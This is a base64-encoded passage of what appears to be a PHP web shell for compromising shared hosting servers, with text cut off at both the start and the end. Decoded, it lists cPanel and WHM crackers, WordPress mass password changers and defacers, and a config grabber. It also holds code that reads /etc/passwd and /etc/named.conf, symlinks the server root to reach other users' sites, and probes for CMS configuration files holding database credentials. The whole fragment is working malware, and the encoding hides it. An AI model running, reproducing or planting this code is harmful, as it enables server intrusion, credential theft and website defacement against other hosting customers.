KTsKaGVhZGVyKCJsb2NhdGlvbjo0MDQucGhwIik7Cn0KZnVuY3Rpb24gYWN0aW9uSW1wb3J0U2NyaXB0cygpIHsKcHJpbnRIZWFkZXIoKTsKZWNobyAnPHRhYmxlIGJvcmRlcj0iMXB4IiBhbGlnbj0iY2VudGVyIiBpZCA9IkQzVjFsdG9vbHMiIGNlbGxwYWRkaW5nPSIxMCIgYm9yZGVyLWNvbG9yImdyZWVuIj48dHI+PHRkPkp1c3QgY2xpY2sgYW5kIGdldCB0aGUgU2NyaXB0IDopLjwvdGQ+PHRyPjx0ZD4KPGZvcm0gYWN0aW9uID0iIiBtZXRob2Q9InBvc3QiPgo8aW5wdXQgdHlwZSA9ICJzdWJtaXQiIG5hbWU9ImNwIiB2YWx1ZSA9IkNwYW5lbCBDcmFja2VyIj48L3RkPjwvdHI+JzsKZWNobyAnPHRyPjx0ZD48Zm9ybSBhY3Rpb24gPSIiIG1ldGhvZD0icG9zdCI+PGlucHV0IHR5cGUgPSAic3VibWl0IiBuYW1lPSJTeW1saW5rYnlEM1YxbCJ2YWx1ZSA9IlN5bWxpbmsgUHl0aG9uIFNjcmlwdCBCeSBEM1YxbCBINFgwUiI+PC9hPjwvdGQ+PC90cj4nOwplY2hvICc8dGQ+PGZvcm0gYWN0aW9uID0iIiBtZXRob2Q9InBvc3QiPjxpbnB1dCB0eXBlID0gInN1Ym1pdCIgbmFtZT0id2htIiB2YWx1ZSA9IldITSBjcmFja2VyIj48L2E+PC90ZD48L3RyPic7CmVjaG8gJzx0cj48dGQ+PGZvcm0gYWN0aW9uID0iIiBtZXRob2Q9InBvc3QiPjxpbnB1dCB0eXBlID0gInN1Ym1pdCIgbmFtZT0id3AiIHZhbHVlID0iV29yZHByZXNzIE1hc3MgUGFzc3dvcmQgQ2hhbmdlciI+PC9hPjwvdGQ+PC90cj4nOwplY2hvICc8dHI+PHRkPjxmb3JtIGFjdGlvbiA9IiIgbWV0aG9kPSJwb3N0Ij48aW5wdXQgdHlwZSA9ICJzdWJtaXQiIG5hbWU9Im1hc3MiIHZhbHVlID0iV29yZHByZXNzIE1hc3MgRGVmYWNlciI+PC9hPjwvdGQ+PC90cj4nOwplY2hvICc8dHI+PHRkPjxmb3JtIGFjdGlvbiA9IiIgbWV0aG9kPSJwb3N0Ij48aW5wdXQgdHlwZSA9ICJzdWJtaXQiIG5hbWU9ImRia2lzcyJ2YWx1ZSA9IkRCa2lzcyI+PC9hPjwvdGQ+PC90cj4nOwplY2hvICc8dHI+PHRkPjxmb3JtIGFjdGlvbiA9IiIgbWV0aG9kPSJwb3N0Ij48aW5wdXQgdHlwZSA9ICJzdWJtaXQiIG5hbWU9ImNnInZhbHVlID0iQ29uZmlnIEdyYWJiZXIiPjwvYT48L3RkPjwvdHI+JzsKZWNobyAnPHRyPjx0ZD48Zm9ybSBhY3Rpb24gPSIiIG1ldGhvZD0icG9zdCI+PGlucHV0IHR5cGUgPSAic3VibWl0IiBuYW1lPSJ6b25lLWgidmFsdWUgPSJab25lIEggTWFzcyBOb3RpZmllciI+PC9hPjwvdGQ+PC90cj4nOwplY2hvICc8dHI+PHRkPjxmb3JtIGFjdGlvbiA9IiIgbWV0aG9kPSJwb3N0Ij48aW5wdXQgdHlwZSA9ICJzdWJtaXQiIG5hbWU9IjQwNC1zaGVsbCJ2YWx1ZSA9IjQwNCBTaGVsbCI+PC9hPjwvdGQ+PC90cj4nOwpwcmludEZvb3RlcigpOwp9CmZ1bmN0aW9uIGFjdGlvblNoYXJlZCgpIHsKcHJpbnRIZWFkZXIoKTsKJGZpbGUgPSBAaW1wbG9kZShAZmlsZSgiL2V0Yy9uYW1lZC5jb25mIikpOwppZiAoISRmaWxlKSB7CmRpZSgiIyBjYW4ndCBSZWFEIC0+IFsgL2V0Yy9uYW1lZC5jb25mIF0iKTsKfQpwcmVnX21hdGNoX2FsbCgiI25hbWVkLyguKj8pLmRiIyIsICRmaWxlLCAkcik7CiRkb21haW5zID0gYXJyYXlfdW5pcXVlKCRyWzFdKTsKewpmb3JlYWNoICgkZG9tYWlucyBhcyAkZG9tYWluKSB7CiR1c2VyID0gcG9zaXhfZ2V0cHd1aWQoQGZpbGVvd25lcigiL2V0Yy92YWxpYXNlcy8iIC4gJGRvbWFpbikpOwokYXJyYXk9ICJodHRwOi8vJGRvbWFpbiAiIC4gJHVzZXJbJ25hbWUnXSAuICI8YnI+IjsKJGxvbD0gJycgLiBnZXRfY3VycmVudF91c2VyKCk7CmlmIChzdHJwb3MoJGFycmF5LCAiJGxvbCIpICE9PSBmYWxzZSkgewokc2hhcmVkID0gc3RyX3JlcGxhY2UoYXJyYXkoIiAkbG9sIiksICIiLCAkYXJyYXkpOwplY2hvICI8Y2VudGVyPiRzaGFyZWQiOwp9Cn0KfQpwcmludEZvb3RlcigpOwp9CmZ1bmN0aW9uIGFjdGlvblN5bWxpbmsoKSB7CnByaW50SGVhZGVyKCk7CmVjaG8gJzxoMT5TeW1saW5rPC9oMT4nOwokZnVybCA9ICdodHRwOi8vJy4kX1NFUlZFUlsnU0VSVkVSX05BTUUnXS4kX1NFUlZFUlsnUkVRVUVTVF9VUkknXTsKJGV4cGxkID0gZXhwbG9kZSgnLycsJGZ1cmwgKTsKJGJ1cmwgPXN0cl9yZXBsYWNlKGVuZCgkZXhwbGQpLCcnLCRmdXJsKTsKZWNobyAnPGRpdiBjbGFzcz0iY29udGVudCI+PGNlbnRlcj4KPGgzPlsgPGEgaHJlZj0iIyIgb25jbGljaz0iZyhcJ3N5bWxpbmtcJyxudWxsLFwnd2Vic2l0ZVwnLG51bGwpIj5Eb21haW5zPC9hPiBdIC0gClsgPGEgaHJlZj0iIyIgb25jbGljaz0iZyhcJ3N5bWxpbmtcJyxudWxsLFwnd2hvbGVcJyxudWxsKSI+V2hvbGUgU2VydmVyIFN5bWxpbms8c3VwIHN0eWxlPSJjb2xvcjpyZWQ7dGV4dC1kZWNvcmF0aW9uOmJsaW5rOyI+PC9zdXA+PC9hPiBdIC0gClsgPGEgaHJlZj0iIyIgb25jbGljaz0iZyhcJ3N5bWxpbmtcJyxudWxsLFwnY29uZmlnXCcsbnVsbCkiPkNvbmZpZyBmaWxlcyBzeW1saW5rPC9hPiBdPC9oMz48L2NlbnRlcj4nOwppZihpc3NldCgkX1BPU1RbJ3AxJ10pICYmICRfUE9TVFsncDEnXT09J3dlYnNpdGUnKQp7CmVjaG8gIjxjZW50ZXI+IjsKJGQwbWFpbnMgPSBAZmlsZSgiL2V0Yy9uYW1lZC5jb25mIik7CmlmKCEkZDBtYWlucyl7IAplY2hvICI8cHJlIGNsYXNzPW1sMSBzdHlsZT0nbWFyZ2luLXRvcDo1cHgnPkNhbnQgYWNjZXNzIHRoaXMgZmlsZSBvbiBzZXJ2ZXIgLT4gWyAvZXRjL25hbWVkLmNvbmYgXTwvcHJlPjwvY2VudGVyPiI7IAp9IGVsc2UgewplY2hvICI8dGFibGUgYWxpZ249Y2VudGVyIGNsYXNzPSdtYWluJyBib3JkZXI9MCA+PHRyPjx0aD4gRG9tYWlucyA8L3RoPjwvdHI+IjsKJHVuayA9IGFycmF5KCk7CmZvcmVhY2goJGQwbWFpbnMgYXMgJGQwbWFpbil7CmlmKEBlcmVnaSgiem9uZSIsJGQwbWFpbikpewpwcmVnX21hdGNoX2FsbCgnI3pvbmUgIiguKikiIycsICRkMG1haW4sICRkb21haW5zKTsKZmx1c2goKTsKaWYoc3RybGVuKHRyaW0oJGRvbWFpbnNbMV1bMF0pKSA+IDIpewokdW5rW10gPSAkZG9tYWluc1sxXVswXTsKZmx1c2goKTsKfQp9Cn0KJGNvdW50PTE7CiR1bmsgPSBhcnJheV91bmlxdWUoJHVuayk7CiRsPTA7CmZvcmVhY2goJHVuayBhcyAkZCl7CiR1c2VyID0gcG9zaXhfZ2V0cHd1aWQoQGZpbGVvd25lcigiL2V0Yy92YWxpYXNlcy8iLiRkKSk7CmVjaG8gIjx0ciIuKCRsPycgY2xhc3M9bDEnOicnKS4iPjx0ZD48YSBocmVmPWh0dHA6Ly8iLiRkLiIvPiIuJGQuIjwvYT48L3RkPjx0ZD4iLiR1c2VyWyduYW1lJ10uIjwvdGQ+PC90cj4iOwpmbHVzaCgpOwokY291bnQrKzsKJGw9JGw/MDoxOwp9CmVjaG8gIjwvdGFibGU+IjsKfQplY2hvICI8L2NlbnRlcj4iOyAKfQppZihpc3NldCgkX1BPU1RbJ3AxJ10pICYmICRfUE9TVFsncDEnXT09J3dob2xlJykKewplY2hvICI8Y2VudGVyPiI7CkBta2RpcignUENTX3N5bScsMDc3Nyk7CiRoZHQ9ICJPcHRpb25zIGFsbFxuRGlyZWN0b3J5SW5kZXggU3V4Lmh0bWxcbkFkZFR5cGUgdGV4dC9wbGFpbiAucGhwXG5BZGRIYW5kbGVyIHNlcnZlci1wYXJzZWQgLnBocFxuQWRkVHlwZSB0ZXh0L3BsYWluIC5odG1sXG5BZGRIYW5kbGVyIHR4dCAuaHRtbFxuUmVxdWlyZSBOb25lXG5TYXRpc2Z5IEFueSI7CiRoZnAgPUBmb3BlbiAoJ1BDU19zeW0vLmh0YWNjZXNzJywndycpOwpmd3JpdGUoJGhmcCAsJGhkdCk7CmlmKGZ1bmN0aW9uX2V4aXN0cygnc3ltbGluaycpKSB7CkBzeW1saW5rKCcvJywnUENTX3N5bS9yb290Jyk7Cn0KJGQwbWFpbnMgPSBAZmlsZSgnL2V0Yy9uYW1lZC5jb25mJyk7CmlmKCEkZDBtYWlucykgewplY2hvICI8cHJlIGNsYXNzPW1sMSBzdHlsZT0nbWFyZ2luLXRvcDo1cHgnPiMgQ2FudCBhY2Nlc3MgdGhpcyBmaWxlIG9uIHNlcnZlciAtPiBbIC9ldGMvbmFtZWQuY29uZiBdPC9wcmU+PC9jZW50ZXI+IjsKZWNobyAiPHRhYmxlIGFsaWduPSdjZW50ZXInIHdpZHRoPSc0MCUnIGNsYXNzPSdtYWluJz48dHI+PHRoPiBDb3VudCA8L3RoPjx0aD4gRG9tYWlucyA8L3RoPjx0aD4gVXNlciA8L3RoPjx0aD4gU3ltbGluayA8L3RoPjwvdHI+IjsKJGR0ID0gZmlsZSgnL2V0Yy9wYXNzd2QnKTsKJGw9MDsKZm9yZWFjaCgkZHQgYXMgJGQpIHsKJHIgPSBleHBsb2RlKCc6JywkZCk7CmlmKHN0cnBvcygkcls1XSwnaG9tZScpKSB7CmVjaG8gIjx0ciIuKCRsPycgY2xhc3M9bDEnOicnKS4iPjx0ZD4iLiRqLiI8L3RkPjx0ZD4tLS08L3RkPjx0ZD4iLiRyWzBdLiI8L3RkPjx0ZD48YSBocmVmPSdQQ1Nfc3ltL3Jvb3QiLiRyWzVdLiIvcHVibGljX2h0bWwnIHRhcmdldD0nX2JsYW5rJz5zeW1saW5rPC9hPjwvdGQ+PC90cj4iOwokbD0kbD8wOjE7CiRqKys7Cn0KfQplY2hvICc8L3RhYmxlPic7Cn0gZWxzZSB7CmVjaG8gIjx0YWJsZSBhbGlnbj0nY2VudGVyJyB3aWR0aD0nNDAlJyBjbGFzcz0nbWFpbic+PHRyPjx0aD4gQ291bnQgPC90aD48dGg+IERvbWFpbnMgPC90aD48dGg+IFVzZXIgPC90aD48dGg+IFN5bWxpbmsgPC90aD48L3RyPiI7CiRjb3VudD0xOwokbWNrID0gYXJyYXkoKTsKZm9yZWFjaCgkZDBtYWlucyBhcyAkZDBtYWluKXsKaWYoQGVyZWdpKCd6b25lJywkZDBtYWluKSl7CnByZWdfbWF0Y2hfYWxsKCcjem9uZSAiKC4qKSIjJywkZDBtYWluLCRkb21haW4pOwpmbHVzaCgpOwppZihzdHJsZW4odHJpbSgkZG9tYWluWzFdWzBdKSkgPjIpewokbWNrW10gPSAkZG9tYWluWzFdWzBdOwp9Cn0KfQokbWNrID0gYXJyYXlfdW5pcXVlKCRtY2spOwokdXNyID0gYXJyYXkoKTsKJGRtbiA9IGFycmF5KCk7CmZvcmVhY2goJG1jayBhcyAkbykgewokaW5mb3MgPSBAcG9zaXhfZ2V0cHd1aWQoZmlsZW93bmVyKCIvZXRjL3ZhbGlhc2VzLyIuJG8pKTsKJHVzcltdID0gJGluZm9zWyduYW1lJ107CiRkbW5bXSA9ICRvOwp9CmFycmF5X211bHRpc29ydCgkdXNyLCRkbW4pOwokZHQgPSBmaWxlKCcvZXRjL3Bhc3N3ZCcpOwokcGFzc3dkID0gYXJyYXkoKTsKZm9yZWFjaCgkZHQgYXMgJGQpIHsKJHIgPSBleHBsb2RlKCc6JywkZCk7CmlmKHN0cnBvcygkcls1XSwnaG9tZScpKSB7CiRwYXNzd2RbJHJbMF1dID0gJHJbNV07Cn0KfQokbD0wOwokaj0xOwpmb3JlYWNoKCR1c3IgYXMgJHIpIHsKZWNobyAiPHRyIi4oJGw/JyBjbGFzcz1sMSc6JycpLiI+PHRkPiIuJGNvdW50KysuIjwvdGQ+Cjx0ZD48YSB0YXJnZXQ9J19ibGFuaycgaHJlZj1odHRwOi8vIi4kZG1uWyRqLTFdLicvPicuJGRtblskai0xXS4nIDwvYT48L3RkPgo8dGQ+Jy4kci4iPC90ZD4KPHRkPjxhIGhyZWY9J1BDU19zeW0vcm9vdCIuJHBhc3N3ZFskcl0uIi9wdWJsaWNfaHRtbCcgdGFyZ2V0PSdfYmxhbmsnPnN5bWxpbms8L2E+PC90ZD48L3RyPiI7CmZsdXNoKCk7CiRsPSRsPzA6MTsKJGorKzsKfQplY2hvICc8L3RhYmxlPic7Cn0KZWNobyAiPC9jZW50ZXI+IjsKfQppZihpc3NldCgkX1BPU1RbJ3AxJ10pICYmICRfUE9TVFsncDEnXT09J2NvbmZpZycpCnsKZWNobyAiPGNlbnRlcj4iOwpAbWtkaXIoJ1BDU19zeW0nLDA3NzcpOwokaGR0ID0gIk9wdGlvbnMgYWxsIFxuIERpcmVjdG9yeUluZGV4IFN1eC5odG1sIFxuIEFkZFR5cGUgdGV4dC9wbGFpbiAucGhwIFxuIEFkZEhhbmRsZXIgc2VydmVyLXBhcnNlZCAucGhwIFxuQWRkVHlwZSB0ZXh0L3BsYWluIC5odG1sIFxuIEFkZEhhbmRsZXIgdHh0IC5odG1sIFxuIFJlcXVpcmUgTm9uZSBcbiBTYXRpc2Z5IEFueSI7CiRoZnAgPSBAZm9wZW4gKCdQQ1Nfc3ltLy5odGFjY2VzcycsJ3cnKTsKQGZ3cml0ZSgkaGZwICwkaGR0KTsKaWYoZnVuY3Rpb25fZXhpc3RzKCdzeW1saW5rJykpIHsKQHN5bWxpbmsoJy8nLCdQQ1Nfc3ltX3N5bS9yb290Jyk7Cn0KJGQwbWFpbnM9QGZpbGUoJy9ldGMvbmFtZWQuY29uZicpOwppZighJGQwbWFpbnMpIHsKZWNobyAiPHByZSBjbGFzcz1tbDEgc3R5bGU9J21hcmdpbi10b3A6NXB4Jz4jIENhbnQgYWNjZXNzIHRoaXMgZmlsZSBvbiBzZXJ2ZXIgLT4gWyAvZXRjL25hbWVkLmNvbmYgXTwvcHJlPjwvY2VudGVyPiI7Cn1lbHNlIHsKZWNobyAiPHRhYmxlIGFsaWduPSdjZW50ZXInIHdpZHRoPSc0MCUnIGNsYXNzPSdtYWluJyA+PHRyPjx0aD4gQ291bnQgPC90aD48dGg+IERvbWFpbiA8L3RoPHRoPiBVc2VyIDwvdGg+Pjx0aD4gU2NyaXB0IDwvdGg+PC90cj4iOwokY291bnQgPSAxOwokbD0wOwpmb3JlYWNoKCRkMG1haW5zIGFzICRkMG1haW4pewppZihAZXJlZ2koJ3pvbmUnLCRkMG1haW4pKXsKcHJlZ19tYXRjaF9hbGwoJyN6b25lICIoLiopIiMnLCRkMG1haW4sJGRvbWFpbik7CmZsdXNoKCk7CmlmKHN0cmxlbih0cmltKCRkb21haW5bMV1bMF0pKT4yKXsKJHVzZXIgPSBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCcvZXRjL3ZhbGlhc2VzLycuJGRvbWFpblsxXVswXSkpOwokYzEgPSAkYnVybC4nL1BDU19zeW0vcm9vdC9ob21lLycuJHVzZXJbJ25hbWUnXS4nL3B1YmxpY19odG1sL3dwLWNvbmZpZy5waHAnOwokY2gwMSA9IGdldF9oZWFkZXJzKCRjMSk7CiRjZjAxID0gJGNoMDFbMF07CiRjMiA9ICRidXJsLicvUENTX3N5bS9yb290L2hvbWUvJy4kdXNlclsnbmFtZSddLicvcHVibGljX2h0bWwvYmxvZy93cC1jb25maWcucGhwJzsKJGNoMDIgPSBnZXRfaGVhZGVycygkYzIpOwokY2YwMiA9ICRjaDAyWzBdOwokYzMgPSAkYnVybC4nL1BDU19zeW0vcm9vdC9ob21lLycuJHVzZXJbJ25hbWUnXS4nL3B1YmxpY19odG1sL2NvbmZpZ3VyYXRpb24ucGhwJzsKJGNoMDMgPSBnZXRfaGVhZGVycygkYzMpOwokY2YwMyA9ICRjaDAzWzBdOwokYzQgPSAkYnVybC4nL1BDU19zeW0vcm9vdC9ob21lLycuJHVzZXJbJ25hbWUnXS4nL3B1YmxpY19odG1sL2pvb21sYS9jb25maWd1cmF0aW9uLnBocCc7CiRjaDA0ID0gZ2V0X2hlYWRlcnMoJGM0KTsKJGNmMDQgPSAkY2gwNFswXTsKJGM1ID0gJGJ1cmwuJy9QQ1Nfc3ltL3Jvb3QvaG9tZS8nLiR1c2VyWyduYW1lJ10uJy9wdWJsaWNfaHRtbC9pbmNsdWRlcy9jb25maWcucGhwJzsKJGNoMDUgPSBnZXRfaGVhZGVycygkYzUpOwokY2YwNSA9ICRjaDA1WzBdOwokYzYgPSAkYnVybC4nL1BDU19zeW0vcm9vdC9ob21lLycuJHVzZXJbJ25hbWUnXS4nL3B1YmxpY19odG1sL3ZiL2luY2x1ZGVzL2NvbmZpZy5waHAnOwokY2gwNiA9IGdldF9oZWFkZXJzKCRjNik7CiRjZjA2ID0gJGNoMDZbMF07CiRjNyA9ICRidXJsLicvUENTX3N5bS9yb290L2hvbWUvJy4kdXNlclsnbmFtZSddLicvcHVibGljX2h0bWwvZm9ydW0vaW5jbHVkZXMvY29uZmlnLnBocCc7CiRjaDA3ID0gZ2V0X2hlYWRlcnMoJGM3KTsKJGNmMDcgPSAkY2gwN1swXTsKJGM4ID0gJGJ1cmwuJy9QQ1Nfc3ltL3Jvb3QvaG9tZS8nLiR1c2VyWyduYW1lJ10uJ3B1YmxpY19odG1sL2NsaWVudHMvY29uZmlndXJhdGlvbi5waHAnOwokY2gwOCA9IGdldF9oZWFkZXJzKCRjOCk7CiRjZjA4ID0gJGNoMDhbMF07CiRjOSA9ICRidXJsLicvUENTX3N5bS9yb290L2hvbWUvJy4kdXNlclsnbmFtZSddLicvcHVibGljX2h0bWwvc3VwcG9ydC9jb25maWd1cmF0aW9uLnBocCc7CiRjaDA5ID0gZ2V0X2hlYWRlcnMoJGM5KTsKJGNmMDkgPSAkY2gwOVswXTsKJGMxMCA9ICRidXJsLicvUENTX3N5bS9yb290L2hvbWUvJy4kdXNlclsnbmFtZSddLicvcHVibGljX2h0bWwvY2xpZW50L2NvbmZpZ3VyYXRpb24ucGhwJzsKJGNoMTAgPSBnZXRfaGVhZGVycygkYzEwKTsKJGNmMTAgPSAkY2gxMFswXTsKJGMxMSA9ICRidXJsLicvUENTX3N5bS9yb290L2hvbWUvJy4kdXNlclsnbmFtZSddLicvcHVibGljX2h0bWwvc3VibWl0dGlja2V0LnBocCc7CiRjaDExID0gZ2V0X2hlYWRlcnMoJGMxMSk7CiRjZjExID0gJGNoMTFbMF07CiRjMTIgPSAkYnVybC4nL1BDU19zeW0vcm9vdC9ob21lLycuJHVzZXJbJ25hbWUnXS4nL3B1YmxpY19odG1sL2NsaWVudC9jb25maWd1cmF0aW9uLnBocCc7CiRjaDEyID0gZ2V0X2hlYWRlcnMoJGMxMik7CiRjZjEyID0gJGNoMTJbMF07CiRjMTMgPSAkYnVybC4nL1BDU19zeW0vcm9vdC9ob21lLycuJHVzZXJbJ25hbWUnXS4nL3B1YmxpY19odG1sL2luY2x1ZGVzL2NvbmZpZ3VyZS5waHAnOwokY2gxMyA9IGdldF9oZWFkZXJzKCRjMTMpOwokY2YxMyA9ICRjaDEzWzBdOwokYzE0ID0gJGJ1cmwuJy9QQ1Nfc3ltL3Jvb3QvaG9tZS8nLiR1c2VyWyduYW1lJ10uJy9wdWJsaWNfaHRtbC9pbmNsdWRlL2FwcF9jb25maWcucGhwJzsKJGNoMTQgPSBnZXRfaGVhZGVycygkYzE0KTsKJGNmMTQgPSAkY2gxNFswXTsKJGMxNSA9ICRidXJsLicvUENTX3N5bS9yb290L2hvbWUvJy4kdXNlclsnbmFtZSddLicvcHVibGljX2h0bWwvc2l0ZXMvZGVmYXVsdC9zZXR0aW5ncy5waHAnOwokY2gxNSA9IGdldF9oZWFkZXJzKCRjMTUpOwokY2YxNSA9ICRjaDE1WzBdOwokb3V0ID0gJyZuYnNwOyc7CmlmKHN0cnBvcygkY2YwMSwnMjAwJykgPT0gdHJ1ZSl7ICRvdXQgPSAiPGEgaHJlZj0nIi4kYzEuIicgdGFyZ2V0PSdfYmxhbmsnPldvcmRwcmVzczwvYT4iOyB9IAplbHNlaWYoc3RycG9zKCRjZjAyLCcyMDAnKSA9PSB0cnVlKXsgJG91dCA9ICI8YSBocmVmPSciLiRjMi4iJyB0YXJnZXQ9J19ibGFuayc+V29yZHByZXNzPC9hPiI7IH0KZWxzZWlmKHN0cnBvcygkY2YwMywnMjAwJykgPT0gdHJ1ZSAmJiBzdHJwb3MoJGNmMTEsJzIwMCcpID09IHRydWUpIHsgJG91dCA9ICIgPGEgaHJlZj0nIi4kYzExLiInIHRhcmdldD0nX2JsYW5rJz5XSE1DUzwvYT4iOyB9CmVsc2VpZihzdHJwb3MoJGNmMDksJzIwMCcpID09IHRydWUpeyAkb3V0ID0gIiA8YSBocmVmPSciLiRjOS4iJyB0YXJnZXQ9J19ibGFuayc+V0hNQ1M8L2E+Ijt9CmVsc2VpZihzdHJwb3MoJGNmMTAsJzIwMCcpID09IHRydWUpeyAkb3V0ID0gIiA8YSBocmVmPSciLiRjMTAuIicgdGFyZ2V0PSdfYmxhbmsnPldITUNTPC9hPiI7IH0KZWxzZWlmKHN0cnBvcygkY2YwMywnMjAwJykgPT0gdHJ1ZSl7ICRvdXQgPSAiIDxhIGhyZWY9JyIuJGMzLiInIHRhcmdldD0nX2JsYW5rJz5Kb29tbGE8L2E+IjsgfQplbHNlaWYoc3RycG9zKCRjZjA0LCcyMDAnKSA9PSB0cnVlKXsgJG91dCA9ICIgPGEgaHJlZj0nIi4kYzQuIicgdGFyZ2V0PSdfYmxhbmsnPkpvb21sYTwvYT4iOyB9CmVsc2VpZihzdHJwb3MoJGNmMDUsJzIwMCcpID09IHRydWUpeyAkb3V0ID0gIiA8YSBocmVmPSciLiRjNS4iJyB0YXJnZXQ9J19ibGFuayc+dkJ1bGxldGluPC9hPiI7fQplbHNlaWYoc3RycG9zKCRjZjA2LCcyMDAnKSA9PSB0cnVlKXsgJG91dCA9ICIgPGEgaHJlZj0nIi4kYzYuIicgdGFyZ2V0PSdfYmxhbmsnPnZCdWxsZXRpbjwvYT4iO30KZWxzZWlmKHN0cnBvcygkY2YwNywnMjAwJykgPT0gdHJ1ZSl7ICRvdXQgPSAiIDxhIGhyZWY9JyIuJGM3LiInIHRhcmdldD0nX2JsYW5rJz52QnVsbGV0aW48L2E+Ijt9CmVsc2VpZihzdHJwb3MoJGNmMDgsJzIwMCcpID09IHRydWUpeyAkb3V0ID0gIiA8YSBocmVmPSciLiRjNy4iJyB0YXJnZXQ9J19ibGFuayc+Q2xpZW50IEFyZWE8L2E+Ijt9CmVsc2VpZihzdHJwb3MoJGNmMTIsJzIwMCcpID09IHRydWUpeyAkb3V0ID0gIiA8YSBocmVmPSciLiRjNy4iJyB0YXJnZXQ9J19ibGFuayc+Q2xpZW50IEFyZWE8L2E+Ijt9CmVsc2VpZihzdHJwb3MoJGNmMTMsJzIwMCcpID09IHRydWUpeyAkb3V0ID0gIiA8YSBocmVmPSciLiRjNy4iJyB0YXJnZXQ9J19ibGFuayc+b3NDb21tZXJjZS9aZW4gQ2FydDwvYT4iO30KZWxzZWlmKHN0cnBvcygkY2YxNCwnMjAwJykgPT0gdHJ1ZSl7ICRvdXQgPSAiIDxhIGhyZWY9JyIuJGM3LiInIHRhcmdldD0nX2JsYW5rJz5NYWdlbnRvPC9hPiI7fQplbHNlaWYoc3RycG9zKCRjZjE1LCcyMDAnKSA9PSB0cnVlKXsgJG91dCA9ICIgPGEgaHJlZj0nIi4kYzcuIicgdGFyZ2V0PSdfYmxhbmsnPkRydXBhbDwvYT4iO30KZWxzZSB7CmNvbnRpbnVlOwp9CmVjaG8gJzx0cicuKCRsPycgY2xhc3M9bDEnOicnKS4nPjx0ZD4nLiRjb3VudCsrLic8L3RkPjx0ZD48YSBocmVmPWh0dHA6Ly93d3cuJy4kZG9tYWluWzFdWzBdLicvPicuJGRvbWFpblsxXVswXS4nPC9hPjwvdGQ+PHRkPicuJHVzZXJbJ25hbWUnXS4nPC90ZD48dGQ+Jy4kb3V0Lic8L3RkPjwvdHI+JzsKZmx1c2goKTsKJGw9JGw/MDoxOwp9Cn0KfQplY2hvICI8L3RhYmxlPiI7Cn0KZWNobyAiPC9jZW50ZXI+IjsgCn0KZWNobyAiPC9kaXY+IjsKcHJpbnRGb290ZXIoKTsKfSAKIGZ1bmN0aW9uIGFjdGlvbkp1bXBpbmcoKSAKe3ByaW50SGVhZGVyKCk7CmVjaG8gJzxodG1sPjxoZWFkPjx0aXRsZT4nLmdldGVudigiSFRUUF9IT1NUIikuJyAtIEp1bXBpbmcgU2VydmVyPC90aXRsZT48L2hlYWQ+PGJvZHk+JzsKKCRzbSA9IGluaV9nZXQoJ3NhZmVfbW9kZScpID09IDApID8gJHNtID0gJ29mZic6IGRpZSgnPGZvbnQgc2l6ZT0iNCIgY29sb3I9IiMwMDAwMDAiIGZhY2U9IkNhbGlicmkiPjxiPkVycm9yOiBTYWZlX21vZGUgPSBPbjwvYj48L2ZvbnQ+Jyk7CnNldF90aW1lX2xpbWl0KDApO0AkcGFzc3dkID0gZm9wZW4oJy9ldGMvcGFzc3dkJywncicpO2lmICghJHBhc3N3ZCkgeyBkaWUoJzxmb250IHNpemU9IjQiIGNvbG9yPSIjMDAwMDAwIiBmYWNlPSJDYWxpYnJpIj48Yj5bLV0gRXJyb3IgOiBDb3VkbmB0IFJlYWQgL2V0Yy9wYXNzd2Q8L2I+PC9mb250PicpOyB9CiRwdWIgPSBhcnJheSgpOyR1c2VycyA9IGFycmF5KCk7JGNvbmYgPSBhcnJheSgpOyRpID0gMDt3aGlsZSghZmVvZigkcGFzc3dkKSl7JHN0ciA9IGZnZXRzKCRwYXNzd2QpO2lmICgkaSA+IDEwMCl7ICRwb3MgPSBzdHJwb3MoJHN0ciwnOicpOyR1c2VybmFtZSA9IHN1YnN0cigkc3RyLDAsJHBvcyk7JGRpcnogPSAnL2hvbWUvJy4kdXNlcm5hbWUuJy9wdWJsaWNfaHRtbC8nO2lmICgoJHVzZXJuYW1lICE9ICcnKSkgeyBpZiAoaXNfcmVhZGFibGUoJGRpcnopKSB7IGFycmF5X3B1c2goJHVzZXJzLCR1c2VybmFtZSk7YXJyYXlfcHVzaCgkcHViLCRkaXJ6KTsgfX19JGkrKzt9CmVjaG8gJzxmb250IGNvbG9yPWFxdWE+IFstXT09PT09PT09PT09PT09PT09PVsgU1RBUlQgXT09PT09PT09PT09PT09PT09PVstXTxicj48L2ZvbnQ+JzsKZm9yZWFjaCAoJHVzZXJzIGFzICR1c2VyKXtlY2hvICI8Zm9udCBjb2xvcj0jYTNlOTU2PiBbK10gL2hvbWUvJHVzZXIvcHVibGljX2h0bWwvPC9mb250Pjxici8+Ijt9IGVjaG8gIlxuIDxmb250IGNvbG9yPWFxdWE+PGJyPlstXT09PT09PT09PT09PT09PT09PVsgRklOSVNIIF09PT09PT09PT09PT09PT09PT1bLV0gPGJyPjwvZm9udD5cbiI7IGVjaG8gJzwvYm9keT48L2h0bWw+JzsKcHJpbnRGb290ZXIoKTsKfQpmdW5jdGlvbiBhY3Rpb25TdWJkb21haW4oKSB7CnByaW50SGVhZGVyKCk7CmVycm9yX3JlcG9ydGluZygwKTsKJHVzZXIgPSBnZXRfY3VycmVudF91c2VyKCk7CiRvcGVuID0gb3BlbmRpcignL2hvbWUvJyAuICR1c2VyIC4gJy9hY2Nlc3MtbG9ncy8nKTsKd2hpbGUgKCRkaXIgPSByZWFkZGlyKCRvcGVuKSkgewokdG90YWxEb2FtaW5bXSA9ICRkaXI7Cn0KY2xvc2VkaXIoJG9wZW4pOwokdG90YWwgPSBjb3VudCgkdG90YWxEb2FtaW4pOwokZG9tYWluID0gJHRvdGFsIC0gMjsKaWYgKCRkb21haW4gPiAwKSB7CmVjaG8gIjxoMj48Yj48Zm9udCBzdHlsZT1cImNvbG9yOiAjYTNlOTU2IDtcIiA+IH4gVG90YWwgPC9mb250Pjxmb250IHN0eWxlPVwiY29sb3I6ICNhM2U5NTY7IFwiPiIgLiAkZG9tYWluIC4gIjwvZm9udD48Zm9udCBzdHlsZT1cImNvbG9yOiAjYTNlOTU2O1wiID4gU3ViIERvbWFpbiBGb3VuZCEgfiA8L2ZvbnQ+PGJyPjxCUj4iOwp9IGVsc2UgewplY2hvICI8aDI+PGI+IH4gPGZvbnQgY29sb3I9J3JlZCcgc3R5bGU9XCJjb2xvcjogcmVkOyB0ZXh0LXNoYWRvdzogcmVkIDBweCAwcHggNHB4IDsgXCI+MDwvZm9udD48Zm9udCBzdHlsZT1cImNvbG9yOiAjYmxhY2s7IHRleHQtc2hhZG93OiBibGFjayAwcHggMHB4IDZweCA7